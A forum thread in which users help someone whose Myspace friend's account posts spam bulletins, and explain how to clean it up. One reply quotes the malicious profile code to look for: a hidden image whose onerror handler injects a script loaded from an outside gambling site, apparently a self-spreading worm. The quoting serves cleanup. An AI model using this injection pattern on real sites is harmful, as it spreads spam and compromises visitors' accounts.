Myspace bulletin spam.

[AngelofDeath]

I have a Myspace account and have several friends added to my list. Recently I have started receiving spam from one of the friends on my list. They are aware that the spam bulletins are being posted from their account, but can't stop it. They have cleared all cookies, scanned for viruses and spyware, but it makes no difference.

Does anyone know how to stop it?

[Abe Ditori]

There's a new Exploit going around. The code is being placed in your HEROES section.

Look for this and take it out!

<div name="QTGrl7318" id="name" style="display: none;">
<img src="http://love.gif" y="<embed" allowscriptaccess="never" allownetworking="internal" onerror="var s=document.createElement('script');s.src='http://gamblingboard.com/x/7318.js';document.getElementsByTagName('head')[0].appendChild(s);" height="0" width="0">
</div>

This code causes people who view your profile to send out 6 spam messages. It may also infect their profile as well. The more infected profiles you view (including your own) the more spam messages you send out, the more likely it will e that you become flagged as a spammer.

[Stephen67]

I found the following on another site. Hope it helps.

A users account is hacked and then used to send out the spam bulletins. Once hacked spam bulletins are sent from that users account to all other users on their friends list. The bulletin usually takes the form of an advert or message, with a link to redirect you to special offers, free pictures, free music etc. etc.

There are a couple of different opinions as to how an account is hacked. Both agree that the link in the bulletin is the initial danger. Once clicked you are redirected to a new website. (The easiest way to avoid being hacked is to ignore all bulletins that look like spam, and definitely DON'T click on any links within them).

This is where the opinions differ:-

1) Some believe that this new website you are redirected to downloads spyware or a virus onto you computer. Once on there it has control of your Myspace passwords (usually stored on your computer as a cookie) and can then access your account at will to post bulletins as and when it likes.

Those who hold this opinion recommend clearing your cookies file and scanning for viruses and spyware. (I can personally recommend AVG as a virus checker and Adaware SE & Spybot S&D as spyware removal tools. They are all free and legal to download and use and can be found at www.download.com).

2) Others believe that the link redirects you to a phony MySpace log-in page and encourages you to log-in again. If you do, it saves your email address and password and uses them to gain access to your account any time it likes.

If this is the case, then changing your password once you've been hacked should stop it.